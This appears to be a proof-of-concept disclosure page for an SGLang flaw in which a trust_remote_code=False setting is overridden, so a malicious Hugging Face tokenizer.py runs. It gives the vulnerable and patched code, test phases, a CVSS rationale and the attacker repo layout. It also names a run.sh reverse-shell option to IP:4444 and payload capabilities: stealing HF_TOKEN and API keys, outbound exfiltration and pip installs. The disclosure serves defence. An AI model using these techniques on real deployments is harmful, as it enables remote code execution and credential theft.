if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    tokenizer = AutoTokenizer.from_pretrained(
        tokenizer_name,
        *args,
        trust_remote_code=True,
        tokenizer_revision=tokenizer_revision,
        clean_up_tokenization_spaces=False,
        **kwargs,
    )

./run.sh --server         通过 TokenizerManager.__init__ 复现
./run.sh --versions       transformers 5.0..5.5 矩阵
./run.sh --revshell IP    可选的反向 shell 到 IP:4444
./run.sh --rebuild        强制 --no-cache 重新构建
./run.sh --copy-ledger ./ledger.json

Phase 1   transformers + False             return=TokenizersBackend     exec=False
Phase 1b  PATCHED sglang + False           return=TokenizersBackend     exec=False
Phase 2   REAL sglang + False              return=MaliciousTokenizer    exec=True
Phase 2b  PATCHED sglang + True            return=MaliciousTokenizer    exec=True
Phase 3   REAL sglang + False (slow)       return=MaliciousTokenizer    exec=True

Claims:  29 PASS  /  0 FAIL  /  0 N/A  /  29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High

*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***

组件	固定值
Python	`3.12.7-slim-bookworm`
transformers	`5.3.0`
SGLang 提交	`fae90abf6e15aaffb6fd924a439253674771487d`
`hf_transformers_utils.py` SHA256	`9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e`
漏洞代码块（第 898-909 行）SHA256	`109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece`

指标	值	依据
AV	N	触发文件（`config.json`、`tokenizer_config.json`、`tokenizer.json`、`tokenizer.py`）是标准的 HF Hub `auto_map` 布局。任何提供这些文件的注册表均可触达该漏洞。
AC	L	`PHASE-2` 在单次运行中确定性触发。所有触发条件均为攻击者编写的内容。`PRE-1..7` 确认不存在环境指纹识别。
PR	N	免费 HF Hub 上传即可满足。触发链中没有任何环节需要受害者的既有权限。
UI	R	触发仅在操作者（或操作者配置的流水线）调用 `launch_server --model-path attacker/model` 时发生。
S	U	所有 `SEV-*` 声明均在 SGLang 进程权限内运行。无沙箱或容器逃逸。
C	H	`SEV-secrets` 从进程环境中捕获 `HF_TOKEN`、`OPENAI_API_KEY`、`ANTHROPIC_API_KEY`、`GPG_KEY`。`SEV-network` 打开出站 TCP 外传通道。
I	H	`SEV-write-sglang`、`SEV-write-launchsrv`、`SEV-write-model`、`SEV-pip` 是位于不同敏感位置的四个独立完整性原语。
A	H	由 RCE 推断得出。`SEV-pip` 证明了任意子进程执行能力，这与自我 DoS 所需的原语相同。PoC 未直接演示自我终止。

组	声明
`PRE-1..7`	固定版本（Python、transformers、文件 SHA256、行数、覆盖代码块 SHA256、默认 `trust_remote_code`、源码路径）
`SRC-1`	导入的 `get_tokenizer` 源码包含覆盖逻辑
`PHASE-1`	transformers 直接尊重 `trust_remote_code=False`
`PHASE-1b`、`PHASE-1b-mech`	移除第 898-909 行的 SGLang 尊重 `False` 且仅调用一次 `from_pretrained`
`PHASE-2`、`PHASE-2-mech`、`PHASE-2-silent`	真实 SGLang 执行 `tokenizer.py`。跟踪显示调用 0（`False`）->`TokenizersBackend`，调用 1（`True`）->`MaliciousTokenizer`。无任何日志行提及 `trust_remote_code`（对根和 `sglang` 日志记录器进行 DEBUG 捕获）。
`PHASE-2b`	已修补 + 显式 `True` 仍可加载（修补是精准的）
`PHASE-3-rce`、`PHASE-3-via-override`	慢速分词器模式也通过相同的 898-909 路径实现 RCE
`SEV-write-sglang`、`SEV-write-launchsrv`、`SEV-write-model`	持久化和横向扩散原语
`SEV-network`	出站 TCP 外传通道
`SEV-secrets`	环境变量密钥捕获
`SEV-pip`	任意 pip 安装（供应链）
`SEV-root`	进程在 lmsysorg 镜像中以 root 身份运行
`AUTH-1`	默认 ServerArgs（`api_key=None`、`admin_api_key=None`）使所有 `ADMIN_OPTIONAL` 端点无需认证即可访问
`AUTH-2`、`AUTH-3`	正向对照，确认中间件在配置后能阻止未认证请求并接受有效 bearer 令牌
`CHAIN-1`	无任何 HTTP 端点处理程序在启动后调用 `get_tokenizer()`（`http_server.py` 中零调用点）

attacker/model/
  config.json             model_type "gpt2"（位于 transformers 的 TOKENIZER_MAPPING_NAMES 中）
  tokenizer_config.json   自定义 tokenizer_class + auto_map -> tokenizer.py
  tokenizer.json          有效的 BPE 分词器（使首次加载成功）
  tokenizer.py            载荷
  model.safetensors       虚拟权重

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    logger.warning(
        "Model %s requires a custom tokenizer but trust_remote_code=False. "
        "Returning generic TokenizersBackend without executing tokenizer.py. "
        "Restart with --trust-remote-code if the custom code is required.",
        tokenizer_name,
    )

代码	含义
0	已确认
1	未触发
2	误报（transformers 自身执行了 `tokenizer.py`，漏洞在上游）
3	固定版本预检失败

CVE-2026-7669-PoC

最受欢迎

漏洞代码

复现

判定

固定环境

CVSS 论证

声明

机制

修复

披露时间线

致谢

参考